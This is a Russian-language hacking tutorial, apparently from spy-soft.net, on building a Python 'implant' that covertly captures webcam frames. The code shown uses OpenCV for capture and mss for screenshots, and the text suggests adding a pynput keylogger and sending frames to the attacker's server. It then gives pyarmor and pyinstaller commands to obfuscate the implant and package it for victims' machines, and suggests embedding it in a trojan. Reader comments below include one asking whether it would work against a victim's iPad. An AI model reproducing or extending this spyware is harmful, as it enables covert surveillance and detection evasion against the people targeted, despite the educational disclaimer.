В предыдущей статье мы использовали полезные нагрузки, доступные в Metasploit. В данной статье мы напишем собственный пейлоад, делающий снимки с камеры целевого устройства. Я также покажу, как обфусцировать пейлоад и адаптировать под запуск на разных ОС.
Еще по теме: Создание полезной нагрузки для Android в MSFVenom
Payload (полезная нагрузка, пейлоад) — этим термином в сфере информационной безопасности называют вредоносные программы (вирусы, черви или трояны).
Статья написана исключительно в образовательных целях и предназначена пентестерам (белым хакерам), для проведения тестирования на проникновение. Взлом и несанкционированный доступ уголовно наказуем. Ни редакция spy-soft.net, ни автор не несут ответственность за ваши действия.
Создание полезной нагрузки на Python
Для захвата и вывода на экран изображений с веб-камеры, будем использовать библиотеку Python OpenCV. Установите эту библиотеку с помощью команды pip3:
1 |
kali@kali:~/$ pip3 install opencv-python |
Скопируйте следующий код в новый файл с именем implant.py.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
import cv2 vc = cv2.VideoCapture(0) cv2.namedWindow("WebCam", cv2.WINDOW_NORMAL) #---------------------------------------- # Настроить TLS-сокет #---------------------------------------- while vc.isOpened(): status, frame = vc.read() cv2.imshow("WebCam", frame) print(frame) #------------------------------- # Отправлять кадры по зашифрованному # TCP-соединению по одному кадру за раз #------------------------------- key = cv2.waitKey(20) # Подождать 20 мс перед считыванием следующего кадра if key == 27: # Закрыть при нажатии клавиши ESC. break vc.release() cv2.destroyWindow("WebCam") |
Этот скрипт сделает несколько снимков (кадров) и склеит их для создания видео. Сначала мы выбираем устройство для захвата видео. К компьютеру может быть подключено несколько камер, и операционная система назначает каждую камеру интерфейсу. В данном случае мы выбираем камеру, назначенную интерфейсу 0, который является первым интерфейсом.
Далее указываем окно, в котором будет отображаться каждый кадр. Отображение каждого кадра очень полезно в процессе отладки, но в ходе работы скрытого трояна они отображаться не должны. Мы будем захватывать/считывать новые кадры, пока окно остается открытым. Переменная status является логической и определяет корректность захвата кадра.
Затем мы передаем каждый из кадров для отображения в окне и вывода на консоль. Наконец, если пользователь нажимает клавишу Esc, то мы закрываем окно и завершаем процесс.
Протестируйте программу, открыв новый терминал и перейдя в папку с файлом implant.py. В верхнем меню Kali Linux выберите пункт меню Devices —> Webcam (Устройства —> Веб-камера), чтобы прикрепить веб-камеру к виртуальной машине.
Теперь запустите пейлоад:
1 |
kali@kali:~$ python3 implant.py |
Расширьте функциональные возможности полезной нагрузки, разрешив ему отправлять кадры на сервер хакера, используя TCP-соединение. Протестировав эту функцию, вы можете сделать работу пейлоада более незаметной, удалив строки кода, отвечающие за отображение потока информации на экране устройства жертвы.
Помните о том, что ваша полезная нагрузка должна обмениваться данными по защищенному каналу. О том, как установить безопасный канал связи, было подробно написано в этой статье.
Добавьте в payload функцию создания снимков экрана. Для этого установите и используйте библиотеку python-mss. Далее приведен пример кода, который позволяет импортировать библиотеку mss и сделать снимок экрана:
1 2 3 |
from mss import mss with mss() as sct: image = sct.shot() |
Вам также потребуется создать и реализовать базовый протокол для управления своей нагрузкой. В заключение отмечу, что для добавления функциональности кейлоггера отлично подойдет библиотека pynput, которую необходимо установить.
Обфускация пейлоада
Чтобы затруднить обнаружение и реверс инжиниринг созданного пейлоада, можно воспользоваться методом обфускации. Для обфускации файла implant.py мы применим инструмент pyarmor.
Выполните команду pip3 для установки pyarmor:
1 |
kali@kali:~$ pip3 install pyarmor |
Теперь проведите обфускацию своего пейлоада:
1 |
kali@kali:~$ pyarmor obfuscate implant.py |
Чтобы просмотреть результат, перейдите в папку dist:
1 |
kali@kali:~$ cd dist |
Вам понадобятся все файлы, содержащиеся в папке dist, включая те, которые находятся в каталоге pytransform. Запустите обфусцированный файл implant.py из папки dist.
В качестве альтернативы вы можете воспользоваться инструментом pyminifier для создания минифицированной версии кода.
Создание исполняемого файла для конкретной платформы
Для запуска только что созданного пейлоада на компьютере жертвы должен быть установлен Python. Однако мы не можем на это рассчитывать, так что нам нужно преобразовать программу на языке Python в исполняемый файл с помощью утилиты pyinstaller, которую можно установить следующим образом:
1 |
kali@kali:~$ pip3 install pyinstaller |
Чтобы создать исполняемый файл для ОС Linux из исходного необфусцированного файла, выполните команду:
1 |
kali@kali:~$ pyinstaller --onefile implant.py |
Для создания обфусцированного исполняемого файла примените следующую команду к исходному файлу:
1 |
kali@kali:~$ pyarmor pack implant.py |
Теперь можно встроить полученный исполняемый файл Linux в троянскую программу. Теперь попробуйте создать исполняемый файл для ОС Windows (.exe), запустив утилиту pyinstaller на компьютере под управлением данной операционной системы и используя те же команды.
Еще по теме:
А TLS- сокет надо самому настроить или он уже настроен?
настроен уже
актуально?)
Да
Спасибо за статью!
если у меня виндовс а у жертви айпад ето будет работать